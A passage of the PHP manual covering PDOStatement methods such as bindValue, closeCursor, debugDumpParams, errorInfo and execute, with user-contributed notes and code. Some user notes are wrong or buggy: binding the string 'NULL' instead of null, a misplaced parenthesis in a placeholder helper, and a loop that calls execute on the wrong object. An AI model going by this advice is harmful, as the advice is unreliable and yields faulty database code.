                elseif(is_bool($value))
                    $param = PDO::PARAM_BOOL;
                elseif(is_null($value))
                    $param = PDO::PARAM_NULL;
                elseif(is_string($value))
                    $param = PDO::PARAM_STR;
                else
                    $param = FALSE;

                if($param)
                    $req->bindValue(":$key",$value,$param);
            }
        }
    }
}

/**
 * ## EXEMPLE ##
 * $array = array('language' => 'php','lines' => 254, 'publish' => true);
 * $typeArray = array('language' => PDO::PARAM_STR,'lines' => PDO::PARAM_INT,'publish' => PDO::PARAM_BOOL);
 * $req = 'SELECT * FROM code WHERE language = :language AND lines = :lines AND publish = :publish';
 * You can bind $array like that :
 * bindArrayValue($array,$req,$typeArray);
 * The function is more useful when you use limit clause because they need an integer.
 * */
?>
Anonymous 19-Jun-2011 05:40
Note that the third parameter ($data_type) in the majority of cases will not type cast the value into anything else to be used in the query, nor will it throw any sort of error if the type does not match up with the value provided. This parameter essentially has no effect whatsoever except throwing an error if it is set and is not a float, so do not think that it is adding any extra level of security to the queries.

The two exceptions where type casting is performed:

- if you use PDO::PDO_PARAM_INT and provide a boolean, it will be converted to a long
- if you use PDO::PDO_PARAM_BOOL and provide a long, it will be converted to a boolean

<?php

$query = 'SELECT * FROM `users` WHERE username = :username AND `password` = ENCRYPT( :password, `crypt_password`)';

$sth= $dbh->prepare($query);

// First try passing a random numerical value as the third parameter
var_dump($sth->bindValue(':username','bob', 12345.67)); // bool(true)

// Next try passing a string using the boolean type
var_dump($sth->bindValue(':password','topsecret_pw', PDO::PARAM_BOOL)); // bool(true)

$sth->execute(); // Query is executed successfully
$result = $sth->fetchAll(); // Returns the result of the query

?>
goofiq dot no dot spam at antispam dot wp dot pl 27-Dec-2009 07:43
bindValue with data_type depend parameter name

<?php

$db = new PDO (...);
$db -> setAttribute (PDO::ATTR_STATEMENT_CLASS, array ('MY_PDOStatement ', array ($db)));

class MY_PDOStatement extends PDOStatement {

  public function execute ($input = array ()) {
    foreach ($input as $param => $value) {
      if (preg_match ('/_id$/', $param))
        $this -> bindValue ($param, $value, PDO::PARAM_INT);
      else
        $this -> bindValue ($param, $value, PDO::PARAM_STR);
    }
    return parent::execute ();
  }

}

?>
cpd-dev 11-Dec-2009 01:46
Although bindValue() escapes quotes it does not escape "%" and "_", so be careful when using LIKE. A malicious parameter full of %%% can dump your entire database if you don't escape the parameter yourself. PDO does not provide any other escape method to handle it.
nicolas dot baptiste at gmail dot com 04-Sep-2009 05:06
This actually works to bind NULL on an integer field in MySQL :

$stm->bindValue(':param', null, PDO::PARAM_INT);
Lambdaman 01-May-2009 02:19
If you want to bind a null value to a database field you must use 'NULL' in quotes (for MySQL):

<?php

$stmt->bindValue(:fieldName, 'NULL');

// not
$stmt->bindValue(:fieldName, NULL);
// or
$stmt->bindValue(:fieldName, null);

?>

Using PHP's null/NULL as a value doesn't work.
Anonymous 26-Aug-2008 01:31
PDO lacks methods to check if values can be bound to a parameter, e.g.,

if ($statement->hasParameter(':param'))
{
    $statement->bindValue(':param', $value);
}

ATM you *have to know* which parameters exist in the SQL-statement. Otherwise you get an error. You cannot test for them.
streaky at mybrokenlogic dot com 08-Jan-2008 11:20
What the bindValue() docs fail to explain without reading them _very_ carefully is that bindParam() is passed to PDO byref - whereas bindValue() isn't.

Thus with bindValue() you can do something like $stmt->bindValue(":something", "bind this"); whereas with bindParam() it will fail because you can't pass a string by reference, for example.
ts//tpdada//art//pl 15-Dec-2006 03:34
For bind whole array at once

<?php

function PDOBindArray(&$poStatement, &$paArray){

  foreach ($paArray as $k=>$v){

    @$poStatement->bindValue(':'.$k,$v);

  } // foreach

 } // function

// example

$stmt = $dbh->prepare("INSERT INTO tExample (id,value) VALUES (:id,:value)");

$taValues = array(
 'id' => '1',
 'value' => '2'
); // array

PDOBindArray($stmt,$taValues);

$stmt->execute();

?>


Closes the cursor, enabling the statement to be executed again.

  • « PDOStatement::bindValue
  • PDOStatement::columnCount »
  • PHP Manual
  • PDOStatement
  • Closes the cursor, enabling the statement to be executed again.

PDOStatement::closeCursor

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.

Description

public bool PDOStatement::closeCursor ( void )

PDOStatement::closeCursor() frees up the connection to the server so that other SQL statements may be issued, but leaves the statement in a state that enables it to be executed again.

This method is useful for database drivers that do not support executing a PDOStatement object when a previously executed PDOStatement object still has unfetched rows. If your database driver suffers from this limitation, the problem may manifest itself in an out-of-sequence error.

PDOStatement::closeCursor() is implemented either as an optional driver specific method (allowing for maximum efficiency), or as the generic PDO fallback if no driver specific function is installed. The PDO generic fallback is semantically the same as writing the following code in your PHP script:

<?php
do {
    while ($stmt->fetch())
        ;
    if (!$stmt->nextRowset())
        break;
} while (true);
?>

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A PDOStatement::closeCursor() example

In the following example, the $stmt PDOStatement object returns multiple rows but the application fetches only the first row, leaving the PDOStatement object in a state of having unfetched rows. To ensure that the application will work with all database drivers, the author inserts a call to PDOStatement::closeCursor() on $stmt before executing the $otherStmt PDOStatement object.

<?php
/* Create a PDOStatement object */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* Create a second PDOStatement object */
$otherStmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* Execute the first statement */
$stmt->execute();

/* Fetch only the first row from the results */
$stmt->fetch();

/* The following call to closeCursor() may be required by some drivers */
$stmt->closeCursor();

/* Now we can execute the second statement */
$otherStmt->execute();
?>

See Also

  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

jhill9693 at gmail dot com 03-May-2011 05:34
If you ran a SQL statement (vs a query that returns data) such as UPDATE, try unsetting your PDOStatement object instead of calling PDOStatement::closeCursor().
narada dot sage at googlemail dot com 29-Apr-2006 10:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
    do $oStm->fetchAll();
    while ($oStm->nextRowSet());
}
?>


Returns the number of columns in the result set

  • « PDOStatement::closeCursor
  • PDOStatement::debugDumpParams »
  • PHP Manual
  • PDOStatement
  • Returns the number of columns in the result set

PDOStatement::columnCount

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::columnCount — Returns the number of columns in the result set

Description

public int PDOStatement::columnCount ( void )

Use PDOStatement::columnCount() to return the number of columns in the result set represented by the PDOStatement object.

If the PDOStatement object was returned from PDO::query(), the column count is immediately available.

If the PDOStatement object was returned from PDO::prepare(), an accurate column count will not be available until you invoke PDOStatement::execute().

Return Values

Returns the number of columns in the result set represented by the PDOStatement object. If there is no result set, PDOStatement::columnCount() returns 0.

Examples

Example #1 Counting columns

This example demonstrates how PDOStatement::columnCount() operates with and without a result set.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* Count the number of columns in the (non-existent) result set */
$colcount = $sth->columnCount();
print("Before execute(), result set has $colcount columns (should be 0)\n");

$sth->execute();

/* Count the number of columns in the result set */
$colcount = $sth->columnCount();
print("After execute(), result set has $colcount columns (should be 2)\n");

?>

The above example will output:

Before execute(), result set has 0 columns (should be 0)
After execute(), result set has 2 columns (should be 2)

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::rowCount() - Returns the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Dump an SQL prepared command

  • « PDOStatement::columnCount
  • PDOStatement::errorCode »
  • PHP Manual
  • PDOStatement
  • Dump an SQL prepared command

PDOStatement::debugDumpParams

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::debugDumpParams — Dump an SQL prepared command

Description

public void PDOStatement::debugDumpParams ( void )

Dumps the informations contained by a prepared statement directly on the output. It will provide the SQL query in use, the number of parameters used (Params), the list of parameters, with their name, type (paramtype) as an integer, their key name or position, and the position in the query (if this is supported by the PDO driver, otherwise, it will be -1).

This is a debug function, which dump directly the data on the normal output.

Tip

As with anything that outputs its result directly to the browser, the output-control functions can be used to capture the output of this function, and save it in a string (for example).

This will only dumps the parameters in the statement at the moment of the dump. Extra parameters are not stored in the statement, and not displayed.

Return Values

No value is returned.

Examples

Example #1 PDOStatement::debugDumpParams() example with named parameters

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

$sth->debugDumpParams();

?>

The above example will output:

SQL: [96] SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour
Params:  2
Key: Name: [9] :calories
paramno=-1
name=[9] ":calories"
is_param=1
param_type=1
Key: Name: [7] :colour
paramno=-1
name=[7] ":colour"
is_param=1
param_type=2

Example #2 PDOStatement::debugDumpParams() example with unnamed parameters

<?php

/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$name = 'apple';

$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();

$sth->debugDumpParams();

?>

The above example will output:

SQL: [82] SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?
Params:  2
Key: Position #0:
paramno=0
name=[0] ""
is_param=1
param_type=1
Key: Position #1:
paramno=1
name=[0] ""
is_param=1
param_type=2

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name
  • PDOStatement::bindValue() - Binds a value to a parameter

User Contributed Notes

Kelly 21-Sep-2014 05:46
It's "information", not "informations".    wow.
mark at manngo dot net 07-Oct-2013 10:21
As noted, this doesn’t actually simply print the prepared statement with data to be executed.

For trouble shooting purposes, I find the following useful:

<?php
    function parms($string,$data) {
        $indexed=$data==array_values($data);
        foreach($data as $k=>$v) {
            if(is_string($v)) $v="'$v'";
            if($indexed) $string=preg_replace('/\?/',$v,$string,1);
            else $string=str_replace(":$k",$v,$string);
        }
        return $string;
    }

    //    Index Parameters
        $string='INSERT INTO stuff(name,value) VALUES (?,?)';
        $data=array('Fred',23);

    //    Named Parameters
        $string='INSERT INTO stuff(name,value) VALUES (:name,:value)';
        $data=array('name'=>'Fred','value'=>23);

    print parms($string,$data);
?>
thefox 16-Apr-2013 02:58
This function doesn't print parameter values despite the documentation says it does. See https://bugs.php.net/bug.php?id=52384 (filed back in 2010).
mattspopcorn at gmail dot com 26-Aug-2009 11:03
It's not you, in PHP 5.2.6 and close versions this has an infinite loop bug.  Upgrade to the latest php where it has been fixed.


Fetch the SQLSTATE associated with the last operation on the statement handle

  • « PDOStatement::debugDumpParams
  • PDOStatement::errorInfo »
  • PHP Manual
  • PDOStatement
  • Fetch the SQLSTATE associated with the last operation on the statement handle

PDOStatement::errorCode

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle

Description

public string PDOStatement::errorCode ( void )

Return Values

Identical to PDO::errorCode(), except that PDOStatement::errorCode() only retrieves error codes for operations performed with PDOStatement objects.

Examples

Example #1 Retrieving an SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

The above example will output:

PDOStatement::errorCode(): 42S02

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

dbeecher at tekops dot com 21-Aug-2008 11:50
Neither this property nor the PDOStatement::errorInfo() properties are available if you create  your own exception handler.

I am using PHP 5.2.4, PDO_INFORMIX 1.2.0.

Making this call at any point in the program after setting your own exception handler produces an error:

PHP Notice:  Undefined property:  PDOStatement::$errorCode in new_query.php on line

or

PHP Notice:  Undefined property:  PDOStatement::$errorInfo in new_query.php on line

But if I set the PDO to SILENT, only set error codes with:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT)

Then process with if/else the call to this functions works fine.  The examples below only do error checking to show the result codes of this function.  Normally you would want more.

FAILS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try  {
      $result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
      if ($result) print "success!";
      }
catch
      {
      $myeCode = $dbh->errorCode();
      /* do stuff with error */
      };

$dbh=0;

The error handler gets called but knows nothing about $dbh->errorCode or $dbh->errorInfo.

WORKS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
if ($result)
      {
      /* process result */
      print "success!";

      /* all done, didn't make any changes */
      $dbh->rollback();
      }
else
      {
      $myeCode = $dbh->errorCode();
      print_r($myeCode);
      };

$dbh=0;  /* close connection */

I hope this helps someone else.
Cheers,
David
vaclav dot sir at gmail dot com 05-Jun-2006 05:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>


Fetch extended error information associated with the last operation on the statement handle

  • « PDOStatement::errorCode
  • PDOStatement::execute »
  • PHP Manual
  • PDOStatement
  • Fetch extended error information associated with the last operation on the statement handle

PDOStatement::errorInfo

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle

Description

public array PDOStatement::errorInfo ( void )

Return Values

PDOStatement::errorInfo() returns an array of error information about the last operation performed by this statement handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver specific error code.
2 | Driver specific error message.

Examples

Example #1 Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- the BONES table does not exist */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

The above example will output:

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared statement

  • « PDOStatement::errorInfo
  • PDOStatement::fetch »
  • PHP Manual
  • PDOStatement
  • Executes a prepared statement

PDOStatement::execute

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::execute — Executes a prepared statement

Description

public bool PDOStatement::execute ([ array $input_parameters ] )

Execute the prepared statement. If the prepared statement included parameter markers, you must either:

  • call PDOStatement::bindParam() to bind PHP variables to the parameter markers: bound variables pass their value as input and receive the output value, if any, of their associated parameter markers

  • or pass an array of input-only parameter values

Parameters

input_parameters

An array of values with as many elements as there are bound parameters in the SQL statement being executed. All values are treated as PDO::PARAM_STR.

You cannot bind multiple values to a single parameter; for example, you cannot bind two values to a single named parameter in an IN() clause.

You cannot bind more values than specified; if more keys exist in input_parameters than in the SQL specified in the PDO::prepare(), then the statement will fail and an error is emitted.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.0 | The keys from input_parameters must match the ones declared in the SQL. Before PHP 5.2.0 this was silently ignored.

Examples

Example #1 Execute a prepared statement with bound variables

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #2 Execute a prepared statement with an array of insert values (named parameters)

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

Example #3 Execute a prepared statement with an array of insert values (placeholders)

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array($calories, $colour));
?>

Example #4 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #5 Execute a prepared statement using array for IN clause

<?php
/* Execute a prepared statement using an array of values for an IN clause */
$params = array(1, 21, 63, 171);
/* Create a string for the parameter placeholders filled to the number of params */
$place_holders = implode(',', array_fill(0, count($params), '?'));

/*
    This prepares the statement with enough unnamed placeholders for every value
    in our $params array. The values of the $params array are then bound to the
    placeholders in the prepared statement when the statement is executed.
    This is not the same thing as using PDOStatement::bindParam() since this
    requires a reference to the variable. PDOStatement::execute() only binds
    by value instead.
*/
$sth = $dbh->prepare("SELECT id, name FROM contacts WHERE id IN ($place_holders)");
$sth->execute($params);
?>

Notes

Note:

Some drivers require to close cursor before executing next statement.

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set

User Contributed Notes

Pere 12-Sep-2014 10:07
If you are trying to use ElTorqiro example, there is a bug in the code. Where it says

<?php
$pdo->execute($row);
?>

it should say

<?php
$insertStatement->execute($row);
?>
Whitebeard 02-Apr-2014 04:27
If you are having issues passing boolean values to be bound and are using a Postgres database... but you do not want to use bindParam for *every* *single* *parameter*, try passing the strings 't' or 'f' instead of boolean TRUE or FALSE.
Rami jamleh 02-Apr-2013 08:09
simplified $placeholder form

<?php

$data = ['a'=>'foo','b'=>'bar'];

$keys = array_keys($data);
$fields = '`'.implode('`, `',$keys).'`';

#here is my way
$placeholder = substr(str_repeat('?,',count($keys),0,-1));

$pdo->prepare("INSERT INTO `baz`($fields) VALUES($placeholder)")->execute(array_values($data));
anon at anon dot com 15-Jun-2012 06:10
If your MySQL table has 500,000+ rows and your script is failing because you have hit PHP's memory limit, set the following attribute.

<?php $this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false); ?>

This should make the error go away again and return memory usage back to normal.
mail at horn-online-media dot de 14-Jun-2012 07:32
hi,

just a qick note to get started without problems when using quotation: PDO does NOT replace given variables if they are wrapped in quotationmarks, e.g.

<?php

$st = $db->prepare( '
    INSERT INTO fruits( name, colour )
    VALUES( :name, ":colour" )
';
$st->execute( array( ':name' => 'Apple', ':colour' => 'red' ) );

?>

results in in a new fruit like

 -> Apple, :colour

without the colour beeing replaced by "red". so leave variables WITHOUT the quotation - PDO will do.
nils andre with my googelian maily accou 27-Apr-2012 11:25
I realized that I ran into serious trouble when debugging my PHP scripts from the command line, and despite of going to fetchAll and so, I always got the error

SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.

I realized that I had a double init command:

PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8; SET CHARACTER SET utf8;"

The first one is the better choice and removing the latter, the error is gone.
T-Rex 12-Apr-2012 12:44
When you try to make a query with a date, then take the whole date and not just a number.

This Query will work fine, if you try it like this:
SELECT * FROM table WHERE date = 0

But if you try it with prepared you have to take the whole date format.
<?php
$sth = $dbh->prepare('SELECT * FROM table WHERE date = :date');
$sth->execute( $arArray );

//--- Wrong:
$arArray = array(":date",0);

//--- Right:
$arArray = array(":date","0000-00-00 00:00:00");
?>

There must be something with the mysql driver.

best regards
T-Rex
richard at securebucket dot com 25-Nov-2011 10:16
Note:  Parameters don't work with a dash in the name like ":asd-asd" you can do a quick str_replace("-","_",$parameter) to fix the issue.
ElTorqiro 05-Apr-2011 11:51
When using a prepared statement to execute multiple inserts (such as in a loop etc), under sqlite the performance is dramatically improved by wrapping the loop in a transaction.

I have an application that routinely inserts 30-50,000 records at a time.  Without the transaction it was taking over 150 seconds, and with it only 3.

This may affect other implementations as well, and I am sure it is something that affects all databases to some extent, but I can only test with PDO sqlite.

e.g.

<?php
$data = array(
  array('name' => 'John', 'age' => '25'),
  array('name' => 'Wendy', 'age' => '32')
);

try {
  $pdo = new PDO('sqlite:myfile.sqlite');
}

catch(PDOException $e) {
  die('Unable to open database connection');
}

$insertStatement = $pdo->prepare('insert into mytable (name, age) values (:name, :age)');

// start transaction
$pdo->beginTransaction();

foreach($data as &$row) {
  $pdo->execute($row);
}

// end transaction
$pdo->commit();

?>
Robin Millette 11-Jan-2011 03:30
If you're going to derive PDOStatement to extend the execute() method, you must define the signature with a default NULL argument, not an empty array.

In otherwords:
<?php
class MyPDOStatement extends PDOStatement {
  // ...

  // don't use this form!
  // function execute($input_parameters = array()) {
  // use this instead:
  function execute($input_parameters = null) {
      // ...
      return parent::execute($input_parameters);
  }
}

?>

As a sidenote, that's why I always set default parameter to NULL and take care of handling the actual correct default parameters in the body of the method or function. Thus, when you have to call the function with all the parameters, you know to always pass NULL for defaults.
Tony Casparro 08-Jul-2010 07:09
We know that you can't see the final raw SQL before its parsed by the DB, but if you want to simulate the final result, this may help.

<?php
public function showQuery($query, $params)
    {
        $keys = array();
        $values = array();

        # build a regular expression for each parameter
        foreach ($params as $key=>$value)
        {
            if (is_string($key))
            {
                $keys[] = '/:'.$key.'/';
            }
            else
            {
                $keys[] = '/[?]/';
            }

            if(is_numeric($value))
            {
                $values[] = intval($value);
            }
            else
            {
                $values[] = '"'.$value .'"';
            }
        }

        $query = preg_replace($keys, $values, $query, 1, $count);
        return $query;
    }
?>
gx 24-Apr-2010 07:05
Note that you must
- EITHER pass all values to bind in an array to PDOStatement::execute()
- OR bind every value before with PDOStatement::bindValue(), then call PDOStatement::execute() with *no* parameter (not even "array()"!).
Passing an array (empty or not) to execute() will "erase" and replace any previous bindings (and can lead to, e.g. with MySQL, "SQLSTATE[HY000]: General error: 2031" (CR_PARAMS_NOT_BOUND) if you passed an empty array).

Thus the following function is incorrect in case the prepared statement has been "bound" before:

<?php
function customExecute(PDOStatement &$sth, $params = NULL) {
    return $sth->execute($params);
}
?>

and should therefore be replaced by something like:

<?php
function customExecute(PDOStatement &$sth, array $params = array()) {
    if (empty($params))
        return $sth->execute();
    return $sth->execute($params);
}
?>

Also note that PDOStatement::execute() doesn't require $input_parameters to be an array.

(of course, do not use it as is ^^).
Ant P. 08-Aug-2008 07:33
As of 5.2.6 you still can't use this function's $input_parameters to pass a boolean to PostgreSQL. To do that, you'll have to call bindParam() with explicit types for each parameter in the query.
Jean-Lou dot Dupont at jldupont dot com 09-Mar-2008 07:38
Hopefully this saves time for folks: one should use $count = $stmt->rowCount() after $stmt->execute() in order to really determine if any an operation such as ' update ' or ' replace ' did succeed i.e. changed some data.

Jean-Lou Dupont.
albright atat anre dotdot net 19-Jan-2008 05:33
When passing an array of values to execute when your query contains question marks, note that the array must be keyed numerically from zero. If it is not, run array_values() on it to force the array to be re-keyed.

<?php
$anarray = array(42 => "foo", 101 => "bar");
$statement = $dbo->prepare("SELECT * FROM table WHERE col1 = ? AND col2 = ?");

//This will not work
$statement->execute($anarray);

//Do this to make it work
$statement->execute(array_values($anarray));
?>
Daniel 30-Aug-2007 02:20
You could also use switch the order of t1 and t2 to get user_id from t1 (tested on postgresql):

SELECT
   t2.*,
   t1.user_id, t1.user_name
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2
simon dot lehmann at gmx dot de 08-Aug-2007 12:17
It seems, that the quoting behaviour has changed somehow between versions, as my current project was running fine on one setup, but throwing errors on another (both setups are very similar).

Setup 1: Ubuntu 6.10, PHP 5.1.6, MySQL 5.0.24a
Setup 2: Ubuntu 7.04, PHP 5.2.1, MySQL 5.0.38

The code fragment which caused problems (shortened):
<?php
$stmt = $pdo->prepare("SELECT col1, col2, col3 FROM tablename WHERE col4=? LIMIT ?");
$stmt->execute(array('Foo', 1));
?>

On the first Setup this executes without any problems, on the second setup it generates an Error:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

The problem is, that $stmt->execute() quotes the number passed to the second placeholder (resulting in: ... LIMIT '1'), which is not allowed in MySQL (tested on both setups).

To prevent this, you have to use bindParam() or bindValue() and specify a data type.
narcis at narcisradu dot com 08-Jan-2007 10:16
For a query like this:

SELECT
   t1.user_id, t1.user_name,
   t2.*
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

If I don't have an entry in table2 for user_id=2, the user_id in  result will be empty.

SELECT
   t1.user_id, t1.user_name,
   t2.user_pet, t2.user_color, t2.user_sign
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

This query will return nonempty user_id.

So please be careful with wildcard select.
VolGas 23-Dec-2006 07:38
An array of insert values (named parameters) don't need the prefixed colon als key-value to work.

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
   FROM fruit
   WHERE calories < :calories AND colour = :colour');
// instead of:
//     $sth->execute(array(':calories' => $calories, ':colour' => $colour));
// this works fine, too:
$sth->execute(array('calories' => $calories, 'colour' => $colour));
?>

This allows to use "regular" assembled hash-tables (arrays).
That realy does make sense!
dbrucas 21-Nov-2006 07:54
If you don't want to turn on exception raising, then try this:

    //$dbErr = $dbHandler->errorInfo(); OR
    $dbErr = $dbStatement->errorInfo();
    if ( $dbErr[0] != '00000' ) {
        print_r($dbHandler->errorInfo());
        die( "<div class='redbg xlarge'>FAILED:  $msg</div><br />".$foot);
    // or handle the error your way...
            }
    echo "SUCCESS:  $msg<br />";
... continue if succesful
russel at sunraystudios dot com 15-Oct-2006 11:42
I've used it and it returns booleans=>
$passed = $stmt->execute();
if($passed){
echo "passed";
} else {
echo "failed";
}

If the statement failed it would print failed.  You would want to use errorInfo() to get more info, but it does seem to work for me.


Fetches the next row from a result set

  • « PDOStatement::execute
  • PDOStatement::fetchAll »
  • PHP Manual
  • PDOStatement
  • Fetches the next row from a result set

PDOStatement::fetch

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::fetch — Fetches the next row from a result set

Description

public mixed PDOStatement::fetch ([ int $fetch_style [, int $cursor_orientation = PDO::FETCH_ORI_NEXT [, int $cursor_offset = 0 ]]] )

Fetches a row from a result set associated with a PDOStatement object. The fetch_style parameter determines how PDO returns the row.

Parameters

fetch_style

Controls how the next row will be returned to the caller. This value must be one of the PDO::FETCH_* constants, defaulting to value of PDO::ATTR_DEFAULT_FETCH_MODE (which defaults to PDO::FETCH_BOTH).

  • PDO::FETCH_ASSOC: returns an array indexed by column name as returned in your result set

  • PDO::FETCH_BOTH (default): returns an array indexed by both column name and 0-indexed column number as returned in your result set

  • PDO::FETCH_BOUND: returns TRUE and assigns the values of the columns in your result set to the PHP variables to which they were bound with the PDOStatement::bindColumn() method

  • PDO::FETCH_CLASS: returns a new instance of the requested class, mapping the columns of the result set to named properties in the class. If fetch_style includes PDO::FETCH_CLASSTYPE (e.g. PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE) then the name of the class is determined from a value of the first column.

  • PDO::FETCH_INTO: updates an existing instance of the requested class, mapping the columns of the result set to named properties in the class

  • PDO::FETCH_LAZY: combines PDO::FETCH_BOTH and PDO::FETCH_OBJ, creating the object variable names as they are accessed

  • PDO::FETCH_NAMED: returns an array with the same form as PDO::FETCH_ASSOC, except that if there are multiple columns with the same name, the value referred to by that key will be an array of all the values in the row that had that column name

  • PDO::FETCH_NUM: returns an array indexed by column number as returned in your result set, starting at column 0

  • PDO::FETCH_OBJ: returns an anonymous object with property names that correspond to the column names returned in your result set

cursor_orientation

For a PDOStatement object representing a scrollable cursor, this value determines which row will be returned to the caller. This value must be one of the PDO::FETCH_ORI_* constants, defaulting to PDO::FETCH_ORI_NEXT. To request a scrollable cursor for your PDOStatement object, you must set the PDO::ATTR_CURSOR attribute to PDO::CURSOR_SCROLL when you prepare the SQL statement with PDO::prepare().

offset

